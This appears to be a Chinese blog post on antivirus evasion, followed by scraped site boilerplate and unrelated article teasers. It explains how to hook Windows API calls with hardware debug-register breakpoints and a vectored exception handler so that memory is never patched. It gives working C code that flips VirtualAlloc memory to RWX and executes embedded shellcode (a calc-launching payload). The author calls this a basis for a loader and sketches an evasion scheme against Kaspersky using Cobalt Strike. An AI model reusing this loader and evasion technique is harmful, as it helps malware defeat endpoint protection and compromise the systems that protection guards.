免杀笔记 ---> 无痕Hook?硬件断点 Syscall!

说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的! 

于是就有了今天的无痕Hook ---> 硬件断点

其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)

但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗

目录

1.调试寄存器

1.DR0 - DR3

2.DR7

3.DR6

2.无痕Hook

​3.免杀!


1.调试寄存器

如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器

1.DR0 - DR3

首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址

2.DR7

这个就是一个比较重要的寄存器了,我们从右往左去看

首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3

然后就是R/W 和 LEN ,分别对应着读写域和 长度域

其中读写域(R/W)有四种状态 :

00 (硬件执行断点)

01  (硬件写入断点)

10  (IO中断)

11  (硬件访问断点)

其中长度域的状态

00 ---- 1字节

01 ----- 2字节

10 ----- 8字节

11 ----- 4字节

3.DR6

此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常

2.无痕Hook

我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)

#include<Windows.h>
#include<stdio.j>SIZE_T MessageBoxAddr = NULL;LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr){const char* title		= "硬件断点Hook";const char* context		= "已经被Hook";pExcepInfo->ContextRecord->R8	= (unsigned long long)title;pExcepInfo->ContextRecord->Rdx	= (unsigned long long)context;// 清除硬件断点pExcepInfo->ContextRecord->Dr0 = 0;pExcepInfo->ContextRecord->Dr7 = 0x0;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}void HardWareBreakPoint(HANDLE hThread)
{CONTEXT ctx;ctx.ContextFlags = CONTEXT_ALL;GetThreadContext(hThread, &ctx);ctx.Dr0 = MessageBoxAddr;ctx.Dr7 = 0x00000001;SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}

其实思路就是如下

  • 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
  • 然后写一个硬件断点,调试寄存器是你要断的地址
  • 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
  • 然后就进入你的Veh函数进行处理

并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!

这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)

#include<stdio.h>
#include<Windows.h>//硬件断点Hook VirtualAllocSIZE_T virtualAllocAddr = NULL;
LPVOID testAddr			= NULL;LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr){//设置为可读可写可执行pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;// 清除硬件断点pExcepInfo->ContextRecord->Dr0 = 0;pExcepInfo->ContextRecord->Dr7 = 0x0;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}void HardWareBreakPoint(HANDLE hThread)
{CONTEXT ctx;ctx.ContextFlags = CONTEXT_ALL;GetThreadContext(hThread, &ctx);ctx.Dr0 = virtualAllocAddr;ctx.Dr7 = 0x00000001;SetThreadContext(hThread, &ctx);
}unsigned char Payload[] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};void DummyFunction()
{HardWareBreakPoint(GetCurrentThread());testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);memcpy(testAddr, Payload, sizeof(Payload));printf("%p", testAddr);((void(*)())testAddr)();}int main()
{HANDLE hThread = NULL;//硬件断点无痕Hook VirtualAllocvirtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");AddVectoredExceptionHandler(1, &FirstVectExcepHandler);hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);WaitForSingleObject(hThread, INFINITE);return 0;
}

可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX

并且计算器也是能成功弹出来的

并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)

我们的程序 

系统自己的程序

3.免杀!

等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋) 

其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数

然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)

重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋

此JMP并不是我的操作(并无对内存进行Patch)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1546900.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

SQL 性能调优

什么是 SQL 性能调优 SQL 性能调优是优化 SQL 查询以尽可能高效地运行的过程&#xff0c;从而减少数据库负载并提高整体系统性能。这是通过各种技术实现的&#xff0c;例如分析查询执行计划、优化索引和重写查询以确保最佳执行路径。目标是最大限度地减少执行查询所需的时间和…

【已解决】【Hadoop】【./bin的使用】bash: ./bin/hdfs: 没有那个文件或目录

在 Hadoop 环境中&#xff0c;决定何时在命令前添加 ./bin 和如何处理路径 /home/hadoop 与 /usr/local/hadoop 的问题&#xff0c;主要取决于你的当前工作目录和环境变量的设置。以下是一些指导原则&#xff1a; 何时使用 ./bin&#xff1a; 当前目录是 Hadoop 安装目录&…

高通AI应用程序开发1:SNPE 概述

1. 功能 The Qualcomm Neural Processing SDK&#xff08;SNPE&#xff09; 是 Qualcomm Snapdragon 软件加速运行时&#xff0c;用于执行深度神经网络。使用 SNPE&#xff0c;用户可以: 执行任意深度的神经网络 在 Snapdragon CPU、Adreno GPU 或 Hexagon DSP 上执行网络。 …

hadoop大数据平台操作笔记(下)

–接hive数据库的操作 函数的操作 聚合函数 函数名说明sun()求和max()最大值min()最小值count()统计avg()平均值 单行函数 数字类型 函数名说明abs()绝对值ceil()进一取整floor()去尾取整round()四舍五入pow()幂运算rand()随机值&#xff0c;获取0~1的小数percentile(字段…

卷轴模式:一种新型的电子商务营销策略

随着电子商务行业的蓬勃发展&#xff0c;各类创新营销策略层出不穷&#xff0c;旨在吸引更多消费者并提升销售额。在这之中&#xff0c;卷轴模式以其独特的优势和可观的收益逐渐受到业界renxb001的关注。本文将深入探讨卷轴模式的概念、优势、应用场景以及如何参与其中。 卷轴…

企业平台API治理的重要性

当前&#xff0c;关于API治理的讨论多聚焦于设计治理&#xff0c;即确保API设计的统一。此为治理的基础&#xff0c;因为设计的不协调会带来严重问题。 尽管应重视企业API设计治理策略&#xff0c;但我们主张扩大视野&#xff0c;关注“平台API治理”。这包括对每个API的发现、…

vioovi视与视标准工时工具与ECRS工时分析软件:精益生产的新纪元

在当今快速变化的市场环境中&#xff0c;企业面临着前所未有的挑战&#xff0c;其中成本控制与效率提升成为制约其发展的关键因素。传统的标准工时工具在应对这些挑战时显得力不从心&#xff0c;其局限性日益凸显。而vioovi视与视标准工时工具的出现&#xff0c;则为企业实现精…

【Linux实践】实验六:LINUX系统管理

【Linux实践】实验六&#xff1a;LINUX系统管理 实验目的实验内容实验步骤及结果1. 包管理工具2. VMware Tools3. 修改主机名4. 网络配置① 临时修改② 永久修改 5. 查找文件6. 前后台执行7. 查看进程8. 结束进程 实验目的 4、掌握Linux下软件包管理&#xff0c;包括命令rpm、…

three.js----快速上手,如何用vue在web页面中导入 gltf/glb , fbx , obj 模型

首先去three.js官网下载three.js包,或者在直接在vue项目中 npm install three0.158.0 --save (学three.js需要有一点前端基础,基础掌握不牢的还是从基础开始) 这个0.158.0是版本号,不用纠结选新的还是选旧的,新手先不考虑这些,three.js基本上个把月就会更新一次,选一个不太新…

搞定抖音视频剪辑,这四款足矣!

现在真的是人人都会剪辑的时代了&#xff0c;作为一个刚踏入视频创作大门的菜鸟&#xff0c;我可是没少在这些剪辑软件里摸爬滚打。今天&#xff0c;就让我以一个新手的视角&#xff0c;给大家伙儿说说四款剪辑工具&#xff0c;在抖音这片战场上&#xff0c;它们各自的表现如何…

速卖通欧盟资质认证怎么弄?速卖通GPSR超全认证攻略请收下!

8月19日&#xff0c;速卖通官方发布了关于欧盟《通用产品安全法规》&#xff08;简称&#xff1a;GPSR&#xff09;的管控通知。 通知显示&#xff1a;针对未按照法规要求完成合规的商品&#xff0c;平台已于9月中旬开始陆续执行屏蔽管控&#xff0c;预计在12月1日前完成&…

轻量级日志管理系统SpringBoot3+Loki+grafana的使用实例

目录 文章目录 目录1、简介2、SpringBoot3应用发送日志到Loki2.1、基本介绍2.2、添加依赖2.3、配置文件application.yml2.4、创建logback配置2.5、添加日志示例2.6、运行SpringBoot3 3、在grafana中查看日志3.1、登录grafana3.2、查询日志3.3、查询我们的SpringBoot发送过来的日…

【Linux】进程的标识符、状态(超详解)

目录 进程的概念 进程标识符PID 系统调用创建进程-fork初识 进程状态 R状态&#xff08;运行状态&#xff09; S&#xff0c;D状态&#xff08;休眠状态&#xff09; T&#xff0c;t状态 Z状态&#xff08;僵尸进程&#xff09; 孤儿进程 X状态&#xff08;死亡状态&a…

OceanBase云数据库战略实施两年,受零售、支付、制造行业青睐

2022年OceanBase推出云数据库产品OB Cloud,正式启动云数据库战略。两年来OB Cloud发展情况如何&#xff0c;9月26日&#xff0c;OceanBase公有云事业部总经理尹博学向记者作了介绍。 尹博学表示&#xff0c;OB Cloud推出两年以来&#xff0c;已服务超过700家客户&#xff0c;客…

巧用时间换空间:解读 ArcGraph 如何灵活应对有限内存下的图分析

导读&#xff1a;ArcGraph 是一款云原生架构、存查分析一体化的分布式图数据库。本文将详细解读 ArcGraph 如何灵活应对有限内存下的图分析。 01 引言 在图分析技术广泛应用的当下&#xff0c;学术界和各大图数据库厂商热衷于提升图分析技术的高性能指标。然而&#xff0c;追求…

夹耳式耳机哪个牌子最好?夹耳式耳机品牌排行榜前十名

随着无线音频技术的不断进步&#xff0c;耳夹式蓝牙耳机因其独特的设计与便捷的使用体验&#xff0c;逐渐成为众多消费者的心头好。然而&#xff0c;在众多品牌与型号中选择一款既符合个人需求又能保证音质与舒适度的产品并非易事。为此&#xff0c;我们综合了市场反馈、用户评…

6天19颗卫星成功发射,厉害了我的国!

我国最近成功发射了“祁连一号”、“吉林一号”、天仪41星&#xff08;神启号&#xff09;和“吉林一号”SAR01A星&#xff0c;前后仅6天就有19颗卫星被送入了太空。 不禁让人感叹&#xff1a;“我们的征途是星辰与大海&#xff0c;厉害了我的国&#xff01;” “祁连一号”与…

Vue中使用Hls.js进行视频直播的播放

HLS.js使用文档 1、安装组件&#xff1a; npm install hls.js --save2、引入组件&#xff1a; import Hls from hls.js3、使用组件&#xff1a; // DOM&#xff1a; <video id"video" controls loop"false"></video> // DATA: let hls nul…

java项目之新闻稿件管理系统(源码+文档)

项目简介 新闻稿件管理系统实现了以下功能&#xff1a; 新闻稿件管理系统的主要使用者管理员功能有个人中心&#xff0c;用户管理&#xff0c;记者管理&#xff0c;审批员管理&#xff0c;新闻分类管理&#xff0c;新闻信息管理&#xff0c;系统管理等。记者发布新闻信息&…

【前端必读】二、使用 Cursor 的基本功能全教程(快捷键及其他功能)

【前端必读】一、使用 Cursor 的基本功能全教程&#xff08;使用与安装&#xff09; 【前端必读】二、使用 Cursor 的基本功能全教程&#xff08;快捷键及其他功能&#xff09; 快捷键及其功能 Cursor 提供了一些快捷键来使用相应的 AI 功能&#xff1a; CTRL/CMD L&#xf…